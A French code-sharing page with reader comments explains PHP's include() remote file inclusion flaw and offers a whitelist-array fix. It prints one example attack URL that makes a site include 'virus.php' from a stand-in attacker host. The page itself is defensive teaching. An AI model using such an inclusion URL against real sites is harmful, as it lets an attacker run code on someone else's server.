Condamner la faille include()

Soyez le premier à donner votre avis sur cette source.

Snippet vu 28 038 fois - Téléchargée 26 fois

Contenu du snippet

EXPLICATION :

La "faille" include() se manifeste lorsque l'on utilise cette instruction :

include($page); /* où $page est une variable contenant un nom de page à inclure */

Le problème (la "faille"), c'est que cette variable $page est aussi et surtout accessible par l'utilisateur via l'url.
En effet, s'il tape, par exemple :

http://www.votre_site.com/index.php?page=http://www.site_attaquant.com/virus.php

il "inclura" alors le script 'virus.php' dans votre site et pourra alors faire à peu près tout ce qu'il veut, d'où l'importance de combler cette faille...

Je sais qu'il y a d'autre(s) source(s) déjà qui propose(nt) une solution pour boucher la faille include(), mais elle(s) ne me convenai(en)t pas.

J'ai donc dû trouver autre chose.

Voilà keuwa, enjoy fellas!!

Source / Exemple :


//
// Pour éviter que l'utilisateur n'incluse n'importe quoi dans votre site,
// vous pouvez définir vous même la liste des pages autorisées à être incluses.
//
// Faisons cela à l'aide d'un tableau.
//
// Si vous souhaitez par exemple que la navigation sur votre site se fasse à
// travers le fichier index.php, c'est-à-dire, si vos URLs sont du type :
//
//      .../index.php?page=XXXXX
//
// vous devrez déclarer dans votre fichier 'index.php' le tableau suivant :
//

$pages_autorisees = array('index' => 'index.php',
                          'chapitre1' => 'chapitres/chapitre1.php',
                          'chapitre2' => 'chapitres/chapitre2.php',
                          'chapitre3' => 'chapitres/chapitre3.php'
                          // ainsi de suite pour toutes vos pages autorisées...

                         );

// Ensuite, pour inclure une page et s'assurer qu'il s'agit bien d'une page autorisée à être incluse,
// (donc qui figure dans le tableau $pages_autorisees), il suffit de faire ceci :

if (isset($pages_autorisees[$page])) 
      include($pages_autorisees[$page]);
else 
      include('erreur.php');

Conclusion :


J'espère que ça vous aidera un peu :))

A voir également

Ajouter un commentaire

Commentaires

cs_PaDa
Messages postés
1804
Date d'inscription
mardi 15 juillet 2003
Statut
Membre
Dernière intervention
22 septembre 2009
1 -
Je vais ptet dire une bêtise mais...

La variable $page n'est pas remplie automatiquement si la directive "register_globals" est à "off" sur ta distribution php.
C'est une erreur commune de croire que c'est le fonctionnement normal de PHP de remplir les variables automatiquement avec l'URL, mais ca pose un problème de sécurité tellement important que par défaut ce comportement est désormais à "off" par défaut (et chez beaucoup d'hébergeurs sur des vieilles distributions aussi).

Dites moi si je me trompe...

Perso, je teste chaque paramètre de facon exacte avant un include, ca coute pas cher et ca évite les surprises :-)
malalam
Messages postés
10844
Date d'inscription
lundi 24 février 2003
Statut
Modérateur
Dernière intervention
2 mars 2010
17 -
Hello,

heu, et si le mec met ?page=www.sonsite.com/virus.php ...? Ou une adresse ip ? ou même pas www? ...etc

Le mieux est de toutes façons de savoir ce que tu t'attends à recevoir...et de n'accepter que ça.

Perso, j'utilise, quand j'utilise c e système, un tableau des GET que j'attends. Et ce ne sont jamais des url...ou du moins, jamais des url absolues.
malalam
Messages postés
10844
Date d'inscription
lundi 24 février 2003
Statut
Modérateur
Dernière intervention
2 mars 2010
17 -
PaDa => tu ne te trompes pas, mais vu que c'est un exemple, j'ai misé sur le fait que c'était JUSTE un exemple, et qu'il récupèrait son $page d'un $_GET['page'] auparavant...mais tu fais bien de préciser :-)

Au passage, file_exists ne renvoie jamais une valeur 0, donc pas besoin de true.

Et vive la comparaison typée, au passage, parce que :

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false == strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

et

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false === strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

compares donc...
malalam
Messages postés
10844
Date d'inscription
lundi 24 février 2003
Statut
Modérateur
Dernière intervention
2 mars 2010
17 -
En clair, ton strpos ne fonctionne pas correctement.
killermaster
Messages postés
7
Date d'inscription
mercredi 5 octobre 2005
Statut
Membre
Dernière intervention
2 juin 2006
-
ah bon ?? :'((


bah merci quand même !


@++

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.